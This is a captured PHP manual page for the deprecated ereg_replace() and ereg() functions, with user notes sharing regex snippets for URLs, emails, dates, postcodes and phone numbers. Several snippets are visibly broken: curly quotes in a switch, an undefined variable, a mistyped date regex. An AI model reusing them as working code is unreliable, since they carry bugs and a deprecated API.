like: ^(a[^b]|[^a]b|[^a][^b])   ;"ab" not at begining of line
  or: (a[^b]|[^a]b|[^a][^b])&   ;"ab" not at end of line
  or: 123(a[^b]|[^a]b|[^a][^b]) ;"ab" not after "123"

I don't know why "(abc){0,0}" is an invalid synthax. It would've made all this much simpler.

Slightly off-topic, here's a regex date validator (format yyyy-mm-dd, remove all spaces and linefeeds):
  ^(19|20)([0-9]{2}-((0[13-9]|1[0-2])-(0[1-9]|[12][0-9]|30)|
  (0[13578]|1[02])-31|02-(0[1-9]|1[0-9]|2[0-8]))|([2468]0|
  [02468][48]|[13579][26])-02-29)$
02-Feb-2002 07:02
if you are looking for the abbreviations like tab, carriage return, regex-class definitions

you should look here:
http://elvin.dstc.edu.au/doc/regex.html

some excerpts:

    \a    control characters bell
    \b    backspace
    \f    form feed
    \n    line feed
    \r    carriage return
    \t    horizontal tab
    \v    vertical tab

class example
    \cLu    all uppercase letters
Examples
ereg_replace
POSIX Regex


Replace regular expression

POSIX Regex Functions
ereg
POSIX Regex Functions
PHP Manual

ereg_replace

(PHP 4, PHP 5)

ereg_replace — Replace regular expression

Description

string ereg_replace ( string $pattern , string $replacement , string $string )

This function scans string for matches to pattern, then replaces the matched text with replacement.

Warning

This function has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

Parameters

pattern

A POSIX extended regular expression.

replacement

If pattern contains parenthesized substrings, replacement may contain substrings of the form \\digit, which will be replaced by the text matching the digit'th parenthesized substring; \\0 will produce the entire contents of string. Up to nine substrings may be used. Parentheses may be nested, in which case they are counted by the opening parenthesis.

string

The input string.

Return Values

The modified string is returned. If no matches are found in string, then it will be returned unchanged.

Examples

For example, the following code snippet prints "This was a test" three times:

Example #1 ereg_replace() example

<?php

$string = "This is a test";
echo str_replace(" is", " was", $string);
echo ereg_replace("( )is", "\\1was", $string);
echo ereg_replace("(( )is)", "\\2was", $string);

?>

One thing to take note of is that if you use an integer value as the replacement parameter, you may not get the results you expect. This is because ereg_replace() will interpret the number as the ordinal value of a character, and apply that. For instance:

Example #2 ereg_replace() example

<?php
/* This will not work as expected. */
$num = 4;
$string = "This string has four words.";
$string = ereg_replace('four', $num, $string);
echo $string;   /* Output: 'This string has   words.' */

/* This will work. */
$num = '4';
$string = "This string has four words.";
$string = ereg_replace('four', $num, $string);
echo $string;   /* Output: 'This string has 4 words.' */
?>

Example #3 Replace URLs with links

<?php
$text = ereg_replace("[[:alpha:]]+://[^<>[:space:]]+[[:alnum:]/]",
                     "<a href=\"\\0\">\\0</a>", $text);
?>

Notes

Note:

As of PHP 5.3.0, the regex extension is deprecated in favor of the PCRE extension. Calling this function will issue an E_DEPRECATED notice. See the list of differences for help on converting to PCRE.

Tip

preg_replace(), which uses a Perl-compatible regular expression syntax, is often a faster alternative to ereg_replace().

See Also

  • ereg() - Regular expression match
  • eregi() - Case insensitive regular expression match
  • eregi_replace() - Replace regular expression case insensitive
  • str_replace() - Replace all occurrences of the search string with the replacement string
  • preg_replace() - Perform a regular expression search and replace

User Contributed Notes

lvt 17-Oct-2010 07:11
Be careful, don't replace all ereg_replace() with str_replace() as many people will likely to recommend if there is regular expression stuffs, or your script will stop running !!!

Example : replace the (.) at the end of the text with (...)

<?php

$text = "This is a simple text.";

print( ereg_replace( "\.$", "...", $text ) );

?>

Test with str_replace() you will find it's not working.
Joe 25-Jun-2010 11:24
Since ereg_replace is now deprecated, many users will be coming to this page, in an attempt to troubleshoot and fix broken scripts after a PHP upgrade.

ereg_replace is essentially a search and replace function and it follows a pattern like this:

<?php

$input = ereg_replace("find this", "replace it with", $output);

?>

You start out by defining the input variable ($input), then the = ereg_replace portion tells php to do a search and replace action on the value of $input, then once the value has been modified with your 'find this' and 'replace with' section, the resulting value is defined as a variable $output which you can then use in other parts of your script or page.

Lets take a real world example.

There is a e-comm site - http://www.example.com - that has millions of item records.  Each item has a name, that is defined as a variable called $title.  Each $title value has spaces, i.e. "Range Cookers" or "Bosch Dishwashers", but we want to convert these into a page url that does not contain spaces, but uses the plus character '+' instead of a space (you can use hyphens '-' or other characters).

If using the deprecated ereg_replace function, it might look something like this:

<?php

$title=ereg_replace(" ", "+", $itemurl);

?>

But to avoid those deprecated errors, we change the function name to preg_replace and add a set of delimiters, in this case the 2 forward slashes / / where the contents inside that are matched as the 'find this' portion.

<?php

$title=preg_replace("/ /", "+", $itemurl);

?>

It is not absolutely necessary to use / / as the delimiters, if you are modifying directory names which may naturally contain forward slashes, it could cause it to break because the slashes in the url or directory would be interpreted as the delimiter, so you could use other obscure characters i.e.  ("# #", "+", $itemurl);  instead.  This would give an output like:

http://www.example.com/-Range+Cooker

http://www.example.com/-Bosch+Dishwasher

This would strip out the spaces from the value of $title and give you a variable called $itemurl where all the spaces were replaced with the plus character, so you could potentially use it as a url like above.

So to summarize:  ereg_replace is a deprecated search and replace action where preg_replace can be used instead, and it follows a pattern as described earlier where it takes the input data, finds a match based on what you are looking for, replaces it with something else you define, and then gives you an output data variable that you can use in your script or page.  Hopefully by understanding the process, the php code functions wont seem like voodoo and you could troubleshoot and fix many of the deprecated errors yourself.
Anonymous 06-Mar-2009 07:17
<?php
// highlights the recognized patterns (a good tool for experiments)

$output = ereg_replace("your regexp here", "<font color=red>\\0</font>", $input)
print $output;
?>
Real PHP Geek 01-Feb-2009 03:55
This function makes links unclickable, read the comments:

<?php
function strip_urls($text, $repPat)
{
    if(!$repPat){
        $repPat = "text [url]";
    }
    $aimpstr = 'PHP_STRIP_URLS_FUNCTION_BY_REAL-PHP-GEEK';
    //change $aimpstr to anything you want.
    $impstr = md5($aimpstr);
    $text = str_replace('</a>', '</a>' . $impstr, $text);
    $text = explode($impstr, $text);
    $n = 0;
    $texta = array();
    $repPat = str_ireplace(array('text', 'url'), array('\\4', '\\2'), $repPat);
    foreach ($text as $text) {
        $texta[$n] = ereg_replace("<a(.*)href=\"(.*)\"(.*)>(.*)</a>", $repPat, $text);
        $n++;
    }
    $textb = implode("</a>", $texta);
    return $textb;
}

//EXAMPLES:
$string_of_text = '<a href="http://www.php.net/">PHP</a> rocks. <a href="http://www.apache.org/">Apache</a> also!';
echo strip_urls($string_of_text, "text");
echo strip_urls($string_of_text, "url");
echo strip_urls($string_of_text, "text [url]");
echo strip_urls($string_of_text, NULL);
?>
computer_guru 06-Aug-2008 04:39
Here is the code I use to make links clickable. The code only works on xxxx:// (i.e. ftp://, http://, etc...). It does not work on www. because that is how I want it. The reason my code has an if condition is that it ignores html links and only modifies non-html urls. (see below)

<?php
function make_clickable($text)
{

    if (ereg("[\"|'][[:alpha:]]+://",$text) == false)
    {
        $text = ereg_replace('([[:alpha:]]+://[^<>[:space:]]+[[:alnum:]/])', '<a target=\"_new\" href="\\1">\\1</a>', $text);
    }
    return($text);
}
?>

My function ignores code like this:

<a href="http://php.net"> php.net </a>

But it would make this one click able:

http://php.net
jammin320 03-Jul-2008 12:52
Just a quick addition to the last post -

modifying the regular expression for the www clause to include a newline at the begining will allow it to catch URLs that are the first in a line but not the first in a string. The previous version would only catch them if a space preceded the value...

    // match www.something
    $text = ereg_replace("(^| |\n)(www([.]?[a-zA-Z0-9_/-])*)", "\\1<a href=\"http://\\2\">\\2</a>", $text);
http://www.bbgames.co.nr 04-May-2008 07:57
In response to a post above, his coding was a bit wrong.  The correct coding should be :

<?php
function hyperlink($text)
{
    // match protocol://address/path/
    $text = ereg_replace("[a-zA-Z]+://([.]?[a-zA-Z0-9_/-])*", "<a href=\"\\0\">\\0</a>", $text);

    // match www.something
    $text = ereg_replace("(^| )(www([.]?[a-zA-Z0-9_/-])*)", "\\1<a href=\"http://\\2\">\\2</a>", $text);

    // return $text
    return $text;
}
?>

You can use this function like this:
<?php
$line = "Check the links: www.yahoo.com http://www.php.net";
hyperlink($line);
// Now, all text that looks like a link becomes a link
?>
tugla 29-Feb-2008 09:29
If you're not relying on regular expressions, str_replace() can be far faster.
Renjith 20-Jan-2008 10:02
Code:

<?php

$s = "Coding PHP is fun.";

$pattern = "(.*)PHP(.*)";
$replacement = " They say \\1other languages\\2";

print ereg_replace($pattern, $replacement, $s);

?>

Output:
They say Coding other languages is fun.
Explanation:

"PHP" is replaced with "other languages", and the sentence is changed a little, using \1 and \2 to access the parts within parentheses.
http://php-regex.blogspot.com/
bjwarshaw2 at yahoo dot com 29-Sep-2007 06:27
It's worth mentioning for ultimate clarity that you're safest using double quotes when matching a pattern, since without them, metacharacters will be interpreted as a backslash plus another character.

Granted, this is part of the language syntax for the string type, but it might not be quite so obvious when dealing with patterns in this function, which is taking the pattern as a parameter.

So if you find that '[\n]' is taking the 'n' out of your string and leaving the new lines alone, switch to doubles before changing anything else.
jarfil at jarfil dot net 26-Aug-2007 02:42
For simple patterns like "[a-z]", preg_replace is up to 6 times faster than ereg_replace.
mephissto at gmail dot com 30-May-2007 06:40
Your right but you just need to replace by :

<?php
function hyperlink(&$text)
{
    // match protocol://address/path/
    $text = ereg_replace("[a-zA-Z]+://([.]?[a-zA-Z0-9_/-])*", "<a href=\"\\0\">\\0</a>", $text);

    // match www.something
    $text = ereg_replace("(^| |.)(www([.]?[a-zA-Z0-9_/-])*)", "\\1<a href=\"http://\\2\">\\2</a>", $text);
}
?>
hoffaboffa (at) hotmail dott com 15-May-2007 06:03
cristiklein's hyperlink function is nice but works incorrect with a www-string like this

\r\nwww.google.se

then it does not become a hyperlink
bmcswee at gmail dot com dot invalid 06-Apr-2007 09:33
Function to strip an HTML tag out of a string. I use this in part for parsing XML documents.

<?php

function stripTags($tag, $string) {
        // Regular expressions only work with strings if the regexp has been pre-concocted
    $regExp = "<" . "$tag" . "[^>]*>";

    $string = str_replace("</$tag>", "", $string);
    $string = ereg_replace($regExp, "", $string);

    return $string;
}

?>
Joachim Kruyswijk 25-May-2006 12:59
Use mb_ereg_replace() instead of ereg_replace() when working with multi-byte strings!
chrish at shield dot on dot ca 12-Feb-2006 05:43
I was having problems with Microsoft Outlook viewing forms within email.  I was only able to see the first word of the text box after I used the following code.

If I entered words into the text box and used the enter key to give me a CRLF I could see in the returned data the %0D%0A string, so I assumed if I just used the ereg-replace as below it would just replace the %0D%0A with a single space...

function remove_extra_linebreaks($string) {
   $new_string=ereg_replace("%0D%0A", " ", $string);
  return $new_string;
}

But the form as displayed by Outlook only showed the text upto the first replaced string, then it was blank!
I could view the source of the email and it would show all of the text I expected.

The following will show the correct data in the form

function remove_extra_linebreaks($string) {
   $new_string=ereg_replace("%0D%0A", '+', $string);
  return $new_string;
}
Chris 20-Jan-2006 11:43
I've updated the function a little that was posted below.  I use it to make database field names readable when making a header row.  I needed it to quit putting a space in "GPA" and to put a space in between numbers and letters.

<?php
/**
*  Converts "fieldcontainingGPAInMyDatabaseFrom2005"
*  To       "Field Containing GPA In My Database From 2005"
*/
function innerCapsToReadableText($text) {
    $text = ereg_replace("([A-Z]) ", "\\1",ucwords(strtolower(ereg_replace("[A-Z]"," \\0",$text))));
    return ereg_replace("([A-Za-z])([0-9])", "\\1 \\2", $text);
}
?>
codergeek42 at users dot sourceforge.net 21-Dec-2005 09:15
In response to "php dot net at lenix dot de," a cleaner (easier to read) method would be to type-cast the integer as a string by quoting it. For example:

<?php
$foo = 42;
echo ereg_replace ( "bar", "$foo" , "foobar" ); /* Would output "foo42". */
?>
benlanc at ster dot me dot uk 22-Aug-2005 03:49
Quite how I managed to get my previous post so wrong, I don't know. Correction follows:
<?php
/* function to turn InterCaps style strings (i.e. CSS Properties in Javascript) to human readable ones */
function deInterCaps($var){
   return ucfirst(strtolower(ereg_replace("[A-Z]"," \\0",$var)));
}

$interCapsString = "aLoadOfNonsenseToDemonstrateTheFunction";

echo deInterCaps($interCapsString);

// output: A load of nonsense to demonstrate the function
?>
php dot net at lenix dot de 07-Jul-2005 03:26
One thing to take note of is that if you use an integer value as the replacement parameter, you may not get the results you expect. This is because ereg_replace() will interpret the number as the ordinal value of a character, and apply that.

If you're ever having trouble with this one there's an easy workarround:

instead of
<?php
$foo = 23;
echo ereg_replace ( "bar", $foo , "foobar" );
?>

just do

<?php
$foo = 23;
echo ereg_replace ( "bar", "" . $foo , "foobar" );
?>

to replace "bar" inside "foobar" with the string "23".
zaczek at gmail dot com 05-Jul-2005 04:09
If you want the function to process query strings, such as:

http://www.php.net/index.php?id=10%32&wp=test

modify the function as follows:

function hyperlink(&$text)
{
   // match protocol://address/path/
   $text = ereg_replace("[a-zA-Z]+://([-]*[.]?[a-zA-Z0-9_/-?&%])*", "<a href=\"\\0\">\\0</a>", $text);

   // match www.something
   $text = ereg_replace("(^| )(www([-]*[.]?[a-zA-Z0-9_/-?&%])*)", "\\1<a href=\"http://\\2\">\\2</a>", $text);
}
cristiklein at yahoo dot com 09-Apr-2005 02:50
Sometimes, you would like to match both styles of URL links that are common in chat windows:

http://www.yahoo.com
www.yahoo.com

You can do this by using the following code:

<?php
function hyperlink(&$text)
{
    // match protocol://address/path/
    $text = ereg_replace("[a-zA-Z]+://([.]?[a-zA-Z0-9_/-])*", "<a href=\"\\0\">\\0</a>", $text);

    // match www.something
    $text = ereg_replace("(^| )(www([.]?[a-zA-Z0-9_/-])*)", "\\1<a href=\"http://\\2\">\\2</a>", $text);
}
?>

You can use this function like this:
<?php
$line = "Check the links: www.yahoo.com http://www.php.net";
hyperlink($line);
// Now, all text that looks like a link becomes a link
?>
bgoodman at osogrande dot com 02-Mar-2005 02:25
When you are dealing with databases you can end up with quite a few \" to deal with.  To ereg_replace all these with something else it requires you to \ the \ and \ the " so you end up with:

$var1 = '\"';
$var2 = ereg_replace('\\\"','1234',$var1);

print $var2;  //this should print 1234
eerie at gmx dot net 27-Feb-2005 11:44
<?php $path = ereg_replace("\\", "/", $path); ?>
as posted from mmtach at yahoo dot com causes an error because you have to escape the backslash twice, once for the quotation marks and a second time due the posix syntax.
<?php $path = ereg_replace("\\\\", "/", $path); ?>
or
<?php $path = ereg_replace('\\', "/", $path); ?>
should both work as expected. since you don't have to escape the backslash in brackets (posix syntax) his alternative works also.
POSIX Regex Functions
ereg
POSIX Regex Functions


Regular expression match

ereg_replace
eregi_replace
POSIX Regex Functions
PHP Manual

ereg

(PHP 4, PHP 5)

ereg — Regular expression match

Description

int ereg ( string $pattern , string $string [, array &$regs ] )

Searches a string for matches to the regular expression given in pattern in a case-sensitive way.

Warning

This function has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

Parameters

pattern

Case sensitive regular expression.

string

The input string.

regs

If matches are found for parenthesized substrings of pattern and the function is called with the third argument regs, the matches will be stored in the elements of the array regs.

$regs[1] will contain the substring which starts at the first left parenthesis; $regs[2] will contain the substring starting at the second, and so on. $regs[0] will contain a copy of the complete string matched.

Return Values

Returns the length of the matched string if a match for pattern was found in string, or FALSE if no matches were found or an error occurred.

If the optional parameter regs was not passed or the length of the matched string is 0, this function returns 1.

Changelog

Version | Description
4.1.0 | Up to (and including) PHP 4.1.0 $regs will be filled with exactly ten elements, even though more or fewer than ten parenthesized substrings may actually have matched. This has no effect on ereg()'s ability to match more substrings. If no matches are found, $regs will not be altered by ereg().

Examples

Example #1 ereg() example

The following code snippet takes a date in ISO format (YYYY-MM-DD) and prints it in DD.MM.YYYY format:

<?php
if (ereg ("([0-9]{4})-([0-9]{1,2})-([0-9]{1,2})", $date, $regs)) {
    echo "$regs[3].$regs[2].$regs[1]";
} else {
    echo "Invalid date format: $date";
}
?>

Notes

Note:

As of PHP 5.3.0, the regex extension is deprecated in favor of the PCRE extension. Calling this function will issue an E_DEPRECATED notice. See the list of differences for help on converting to PCRE.

Note:

preg_match(), which uses a Perl-compatible regular expression syntax, is often a faster alternative to ereg().

See Also

  • eregi() - Case insensitive regular expression match
  • ereg_replace() - Replace regular expression
  • eregi_replace() - Replace regular expression case insensitive
  • preg_match() - Perform a regular expression match
  • strpos() - Find the position of the first occurrence of a substring in a string
  • strstr() - Find the first occurrence of a string
  • quotemeta() - Quote meta characters

User Contributed Notes

lists at cmsws dot com 09-Nov-2009 11:19
My rendition of a function that validates email addresses.

<?php
function validate_EmailAddress($email) {
  return
    is_string($email) &&
    !empty($email) &&
    eregi("^[a-z0-9_-]+[a-z0-9_.-]*@[a-z0-9_-]+[a-z0-9_.-]*\.[a-z]{2,5}$", $email);
}

?>
datai at mail dot ru 16-May-2009 03:47
email validation, based on previous script:

<?php
function validateMail($mail) {
  if($mail !== "") {
    if(ereg("^[-A-Za-z0-9_]+[-A-Za-z0-9_.]*[@]{1}[-A-Za-z0-9_]+[-A-Za-z0-9_.]*[.]{1}[A-Za-z]{2,5}$", $mail)) {
      return true;
    } else {
      return false;
    }
  } else {
    return false;
  }
}
?>
Remember, from "if(ereg..." to "$mail)) {" it's ONE line. Dont brake it. =)
Thanks to Parsaj.
parsaj at gmail dot com 22-Apr-2009 03:33
Here a little clear and easy script
that I wrote to validate an E-Mail Input.

I tried to understand ereg,
but the describtion on php.net did not help me,
so I made some research and finally (think)
that Im sure how to use ereg.

The following function works for me well and allows
an E-Mail to contain the following characters:
"A-Z, a-z, 0-9, . , - , _ "

<?php
function validateMail($mail) {
    if($mail !== "") {
        if(!ereg("^[A-Za-z0-9\.|-|_]*
          [@]{1}[A-Za-z0-9\.|-|_]*[.]{1}[a-z]{2,5}$", $mail)) {
        echo "wrong Input for E-Mail";
        $mail ="";
        return $mail;
         }
        else {
        return $mail;
        }
    }
}
?>

to make it clear:
^ means begin here (startpoint of ereg)
$ means end here (endpoint of ereg)
* stand for endless characters (I want A-Z, a-z, 0-9 and the other characters to apear from 0 to endless
optional you can write {1,5} for
min 1 times a character or max 5 times a
characters instead of *
{1,2} means min 1 time a character and max 2 times a character (optional you can write * intead of {1,2}
{1} stand for max 1 time a character
\ means from here special characters (like .-_$ and so on)
| means OR
Anonymous 16-Jan-2009 12:20
Recognizing E-mail Addresses

worth noting: a valid e-mail may contain a + character.

for example:
if you send e-mail to myemail+something@gmail.com, gmail reroutes it to the account myemail@gmail.com. This is a useful feature, and it is very frustrating when websites that take your e-mail don't allow you to do this.
hreisin at gmail dot com 21-Nov-2008 01:50
Hi,
for those looking for email adress PHP validation,
isemail is a javascrit function that checks the following conditions for the email string:

   • only one @ sign permitted
   • domain extension separator (.) must come after the @ symbol
   • must be at least 2 characters (letters) after the domain extension separator (.)
   • rejects all illegal characters including spaces.
   • Allows only numbers, letters, the underscore (_) and the dash (-) character as valid input
     (excluding the mandatory "@" and "." symbols).
   • Minimum of 6 characters

The following pattern satisfy all-in-one for the ereg function:
$pattern = "^([A-Za-z0-9\.|-|_]{1,60})([@])";
$pattern .="([A-Za-z0-9\.|-|_]{1,60})(\.)([A-Za-z]{2,3})$";

ereg($pattern,$email)
pascalaschwandenPLEASENOSPAM at gmail dot com 18-Jul-2008 06:16
Here is a series of useful regular expressions.

<?php
function isValid($type,$var) {
 $valid = false;
 switch ($type) {
  case "IP":
   if (ereg('^([0-9]{1,3}\.){3}[0-9]{1,3}$',$var)) {
    $valid = true;
   }
   break;
  case “URL”:
   if (ereg("^[a-zA-Z0-9\-\.]+\.(com|org|net|mil|edu)$",$var)) {
    $valid = true;
   }
   break;
  case “SSN”:
   if (ereg("^[0-9]{3}[- ][0-9]{2}[- ][0-9]{4}|[0-9]{9}$",$var)) {
    $valid = true;
   }
   break;
  case “CC”:
   if (ereg("^([0-9]{4}[- ]){3}[0-9]{4}|[0-9]{16}$",$var)) {
    $valid = true;
   }
   break;
  case “ISBN”:
   if (ereg("^[0-9]{9}[[0-9]|X|x]$",$var)) {
    $valid = true;
   }
   break;
  case “Date”:
   if (ereg("^([0-9][0-2]|[0-9])\/([0-2][0-9]|3[01]|[0-9])\/[0-9]{4}|([0-9][0-2]|[0-9])-([0-2][0-9]|3[01]|[0-9])-[0-9]{4}$",$var)) {
    $valid = true;
   }
   break;
  case “Zip”:
   if (ereg("^[0-9]{5}(-[0-9]{4})?$",$var)) {
    $valid = true;
   }
   break;
  case "Phone":
   if (ereg("^((\([0-9]{3}\) ?)|([0-9]{3}-))?[0-9]{3}-[0-9]{4}$",$var)) {
    $valid = true;
   }
   break;
  case “HexColor”:
   if (ereg('^#?([a-f]|[A-F]|[0-9]){3}(([a-f]|[A-F]|[0-9]){3})?$',$var)) {
    $valid = true;
   }
   break;
  case “User”:
   if (ereg("^[a-zA-Z0-9_]{3,16}$",$var)) {
    $valid = true;
   }
   break;
 }
 return $valid;
}

#Example:
$phone = "789-1234";
if (isValid("Phone",$phone)) {
 echo "Valid Phone Number";
} else {
 echo "Invalid Phone Number";
}
?>
Jeff K. 18-Jul-2008 01:16
In reply to Francis,

Your regular expression:
$pattern = "^(\()?([0-9]{3})(\))?( )?([0-9]{3})( )?(\-)?( )?([0-9]{4})$";

I actually used this to validate a phone number. The one discrepancy I found is with patterns such as 503-555-1212, 503-5551212, [503]5551212, and every other pattern that does not have single whitespace or a dash as a delimiter, ereg() will return false when given your expression.

Based on your pattern, I came up with a more general and concise version making use of the dot meta-character:
$pattern = "^.?[0-9]{3}.?.?[0-9]{3}.?[0-9]{4}$";

When passed to ereg(), it will return "true" so long as there is 10 digits, regardless of the delimiter chosen by the user.

[503] 5551212 //true
5035551212 //true
503+555 1212//true

$pattern = "^(\()?([0-9]{3})(\))?( )?([0-9]{3})( )?(\-)?( )?([0-9]{4})$";
Jeremy M at unitydc dot co dot uk 23-May-2008 05:11
UK postcode validation.

We've used the expression put forward by tomas and jaik,
but we found that it fails on Coventry (CV) postcodes.

Here is an alternative that works for these postcodes and
also adds support for the Overseas Territories like Tristan da Cunha.

<?php

function IsPostcode($postcode) {
    $postcode = strtoupper($postcode);
    if(ereg("((GIR 0AA)|(TDCU 1ZZ)|(ASCN 1ZZ)|(BIQQ 1ZZ)|(BBND 1ZZ)"
."|(FIQQ 1ZZ)|(PCRN 1ZZ)|(STHL 1ZZ)|(SIQQ 1ZZ)|(TKCA 1ZZ)"
."|[A-PR-UWYZ]([0-9]{1,2}|([A-HK-Y][0-9]"
."|[A-HK-Y][0-9]([0-9]|[ABEHMNPRV-Y]))"
."|[0-9][A-HJKS-UW]) [0-9][ABD-HJLNP-UW-Z]{2})", $postcode)) {
        return $postcode;
    } else {
        return FALSE;
    }
}

?>
John Thur 02-Apr-2008 11:29
<?php
function fractionstr2decimal($fs){
        if (is_numeric($fs)){
                return $fs;
        } elseif (ereg ("([0-9]{1,6}[ ])?([0-9]{1,6})\/([0-9]{0,6}[1-9][0-9]{0,6})", $fs, $regs)) {
        /* ({1-6 digits}space  optional) {1-6 digits}/(1-13 digits with at least one digit not 0 )*/
                return ($regs[1]+$regs[2]/$regs[3]);
        } else {
                return (NULL); /* Invalid Fraction */
        }
}

echo fractionstr2decimal("1024 5/132")."<br>";   /* 1024.0378787879  */
echo fractionstr2decimal("23")."<br>";           /* 23 */

$i=fractionstr2decimal("1 2/3");
echo "<br>$i";                                  /* 1.66666666666667 */
if ($i and $i<=1 ) echo "<1<br>";               /*  */
$i=fractionstr2decimal("2/3");
echo "<br>$i";                                  /*  0.66666666666667 */
if ($i and $i<=1 ) echo "<1<br>";               /*  <1 */
$i=fractionstr2decimal("2/0");
echo "<br>$i";
if ($i and $i<=1 ) echo "<1<br>";
?>
Francis 29-Mar-2008 12:35
I noticed that /s which is used to check for spaces doesn't work with ereg.  Not sure why. Here's an example of a US phone validation function that works for me.  I couldn't find a working example anywhere, so here it is.

<?

function invalid_phone($phone_no){
  $pattern = "^(\()?([0-9]{3})(\))?( )?([0-9]{3})( )?(\-)?( )?([0-9]{4})$";
  $phone_no = trim($phone_no);
  if (!ereg($pattern, $phone_no)) return 1;
  return 0;
} // invalid_phone

// example of use

$phone = "(503) 555-1212";  // ok
$phone = "(503) 555 - 1212"; // ok
$phone = "503-555-1212"; // ok
$phone = "503 - 555 - 1212"; // ok
$phone = 5035551212; // ok

if (invalid_phone($phone) > 0) echo "Make sure the phone number you have entered matches the standard format: (503) 555-1212";
?>
E. Stuart Hicks 27-Feb-2008 11:23
It's important to note for certain regular expression that your $regs[] array will only contain as many values as you have sets of parenthesis in your regexp. (plus 1, of course)  For example, the regexp below was designed to locate tags enclosed in <> characters inside a string:

<?php ereg("^([^<]*)(<[^>]+>[^<]*)*$", $str, $tags) ?>

This will *not* create an arbitrarily long array in $tags for the number of tags that it finds.  Given the string "This <has> a <couple> of <tags> in it", you'll see:

0 : This <has> a <couple> of <tags> in it
1 : This
2 : <tags> in it

Since the same parenthesized section of the regexp is matching all tags found, it overwrites the same section of the array.  If you try increasing the number of parenthesis, it just creates duplicates of the same result.
Will 01-Feb-2008 07:47
There is undocumented behaviour for this command!

You cannot check for strings of 1-256 characters or longer.

For example, this will evaluate to true:

ereg("^[a-zA-Z0-9' ]{1,255}$","ghfhg");

But this will give the error:
PHP Warning:  ereg(): REG_BADBR

ereg("^[a-zA-Z0-9' ]{1,256}$","ghfhg");

PHP version (on Windows XP):

PHP 5.2.5 (cli) (built: Nov  8 2007 23:18:51)
Copyright (c) 1997-2007 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies
savage 28-Jan-2008 08:38
This is a fix for days over 31 and shorter version
^(([1]{1}[0-2]{1}|[0]{0,1}[1-9]{1})[\-]{1}([0-2]{0,1}\d{1|
[3]{1,1}[0-1]{1})[\-]{1}[1-2]{1}\d{3}|([0-2]{0,1}\d{1}|
[3]{1,1}[0-1]{1})[\-]{1}([1]{1}[0-2]{1}|[0]{0,1}[1-9]{1})
[\-]{1}[1-2]{1}\d{3}|[1-2]{1}\d{3}[\-]{1}([1]{1}[0-2]{1}|
[0]{0,1}[1-9]{1})[\-]{1}([0-2]{0,1}\d{1}|[3]{1,1}[0-1]{1}))$
savage at gmail dot com 27-Jan-2008 08:48
This is a date regexp that I made to allow different combinations of month, day, and year. it's rather long but it works.

(^([0-3]{0,1})([1-9]{1,1})([\-]{1,1})(([1]{1,1})([0-2]{1,1})|
([0]{0,1})([1-9]{1,1}))([\-]{1,1})([1-2]{1,1})(\d{3})$)|
(^(([1]{1,1})([0-2]{1,1})|([0]{0,1})([1-9]{1,1}))([\-]{1,1})
([0-3]{0,1})([1-9]{1,1})([\-]{1,1})([1-2]{1,1})(\d{3})$)|
(^([1-2]{1,1})(\d{3})([\-]{1,1})(([1]{1,1})([0-2]{1,1})|
([0]{0,1})([1-9]{1,1}))([\-]{1,1})([0-3]{0,1})([1-9]{1,1})$)

yyyy-mm-dd, mm-dd-yyyy, dd-mm-yyyy
2007-02-05
12-25-2007
25-02-2007
2-5-2007
25-2-2007
2007-9-23
09-06-2007
09-23-2007
The above will check valid

Anything not in one of the combinations of dd,mm,yyyy formats above will fail.

these will also fail
2007-32-12
13-22-2007
0-1-2007
1-0-2007

Any sugestions on making it smaller and more efficients would be appreciated.
notbald at gmail spam away com 11-Jul-2007 01:26
Save yourself some headache and time, don't use the \d (digits) \w (alphanumeric) and \s (whitespace) short forms. Not only do they make the code less readable, they don't seem to work with ereg.

Use [0-9], [A-Za-z0-9], [ \n\r\t] instead.

Since the regex example in this article is a bit on the complex side, I'll throw in a simpler regex example:

Say you want to validate valid variable names:

<?php
$regex_valid_variable_name = '^[A-Za-z_][A-Za-z0-9_]*$';

// ^ in this context means that the regex is anchored
// to the beginning of the string.
//
// A single [xxx] means that a single letter must mach
// the criteria within
//
// The [xxx]* means that [xxx] can mach from zero to
// unlimited times.
//
// The $ is another anchor, except it is for the end of
// the sting.

// Valid names: "_", "hello1", "a_variable"
// Invalid names: "4number", "five-to", "one two", " space "

//Test it out:
$regx = $regx_valid_variable_name;
$valid = array ( '_', 'hello1', 'a_variable' );
$invalid = array ( '4number', 'five-to', 'one two', ' space ');
foreach($valid as $v)
    echo 'Valid '.(ereg($regx, $v) ? 'yes' : '<b>no</b>') . ": $v<br />\n";

foreach($invalid as $v)
    echo 'Invalid '.(!ereg($regx, $v) ? 'yes' : '<b>no</b>') . ": $v<br />\n";
?>
jaik at fluidcreativity dot co dot uk 31-Aug-2006 08:41
Here is a fixed version of the UK postcode check function by tomas at phusis dot co dot uk. There was a bug on line 2 of the reg expression where a closing square-bracket was doubled-up ("]]" which should've been "]").

<?php
function IsPostcode($postcode) {
  $postcode = strtoupper(str_replace(chr(32),'',$postcode));
  if(ereg("^(GIR0AA)|(TDCU1ZZ)|((([A-PR-UWYZ][0-9][0-9]?)|"
."(([A-PR-UWYZ][A-HK-Y][0-9][0-9]?)|"
."(([A-PR-UWYZ][0-9][A-HJKSTUW])|"
."([A-PR-UWYZ][A-HK-Y][0-9][ABEHMNPRVWXY]))))"
."[0-9][ABD-HJLNP-UW-Z]{2})$", $postcode))
   return $postcode;
  else
   return FALSE;
}
?>
theppg_001 at hotmail dot com 19-Aug-2006 07:00
Ok well someone else posted this but if didn't work so I made my own.
I used this to check file names that are to be created on a server.
File names that start with a-Z or 0-9 and contain a-Z, 0-9, underscore(_), dash(-), and dot(.) will be accepted.
File names beginning with anything but a-Z or 0-9 will be rejected.
File names  containing anything other than above mentioned will also be rejected.

Here it is.
<?php
$result = ereg("(^[a-zA-Z0-9]+([a-zA-Z\_0-9\.-]*))$" , $filename);
?>
tomas at phusis dot co dot uk 06-Jun-2006 08:41
I could not find a definitive and 100% working function that validates the UK postcodes, so was forced to write one myself.
The authoritative source of information is

http://www.govtalk.gov.uk/gdsc/html/frames/PostCode.htm

which I amended with the new postcode for Tristan da Cunha.

Here is the ugly beast (don't wanna see regexp's ever again):

<?php
function IsPostcode($postcode) {
  $postcode = strtoupper(str_replace(chr(32),'',$postcode));
  if(ereg("^(GIR0AA)|(TDCU1ZZ)|((([A-PR-UWYZ][0-9][0-9]?)|"
."(([A-PR-UWYZ][A-HK-Y]][0-9][0-9]?)|"
."(([A-PR-UWYZ][0-9][A-HJKSTUW])|"
